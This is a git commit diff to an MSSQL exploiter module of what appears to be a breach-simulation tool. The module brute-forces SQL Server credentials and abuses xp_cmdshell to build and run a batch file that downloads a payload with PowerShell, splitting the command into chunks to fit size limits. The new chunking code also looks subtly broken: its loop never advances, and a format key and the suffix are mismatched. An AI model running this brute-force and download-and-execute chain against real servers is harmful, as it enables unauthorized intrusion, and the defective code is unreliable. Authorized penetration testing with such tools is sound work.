MSSQL refactored to dynamically split exploitation commands into smaller chunks

This commit is contained in:
VakarisZ 2019-08-26 18:49:58 +03:00
parent bd37995054
commit 3ebd7ed02d
1 changed files with 56 additions and 14 deletions

View File

@ -27,6 +27,12 @@ class MSSQLExploiter(HostExploiter):
SQL_DEFAULT_TCP_PORT = '1433'
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
MAX_XP_CMDSHELL_SIZE = 128
EXPLOIT_COMMAND_PREFIX = "xp_cmdshell \"<nul set /p="
EXPLOIT_COMMAND_SUFFIX = ">>%%(payload_file_path)s"
MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
"DownloadFile(^\'%%(http_path)s^\' , ^\'%%(local_path)s^\')"
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
@ -60,11 +66,18 @@ class MSSQLExploiter(HostExploiter):
commands = ["xp_cmdshell \"mkdir %s\"" % get_monkey_dir_path()]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
# Form download command
download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': http_path, 'dst_path': dst_path}
# Form suffix
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': tmp_file_path}
exploit_command = MSSQLCommand(download_command,
prefix=MSSQLExploiter.EXPLOIT_COMMAND_PREFIX,
suffix=MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_SIZE)
# Split command into chunks mssql xp_cmdshell can execute
commands = exploit_command.split_into_array_of_smaller_strings()
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
self.add_executed_cmd(' '.join(commands))
@ -106,17 +119,17 @@ class MSSQLExploiter(HostExploiter):
def brute_force(self, host, port, users_passwords_pairs_list):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
Return:
True or False depends if the whole bruteforce and attack process was completed successfully or not
"""
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
@ -139,3 +152,32 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return None
class MSSQLCommand(object):
def __init__(self, command, max_length, prefix="", suffix=""):
self.command = command
self.max_length = max_length
self.prefix = prefix
self.suffix = suffix
def get_full_command(self, command):
return "{}{}{}".format(self.prefix, command, self.suffix)
def split_into_array_of_smaller_strings(self):
remaining_command_to_split = self.command
commands = []
while self.command_is_too_long(self.get_full_command(remaining_command_to_split)):
command_of_max_len, remaining_command = self.split_at_max_length(remaining_command_to_split)
commands.append(self.get_full_command(command_of_max_len))
if remaining_command_to_split:
commands.append(remaining_command_to_split)
return commands
def split_at_max_length(self, command):
substring_size = self.max_length - len(self.prefix) - len(self.command) - 1
return self.get_full_command(command[0:substring_size]), command[substring_size:]
def command_is_too_long(self, command):
return len(command)+len(self.prefix)+len(self.suffix) > self.max_length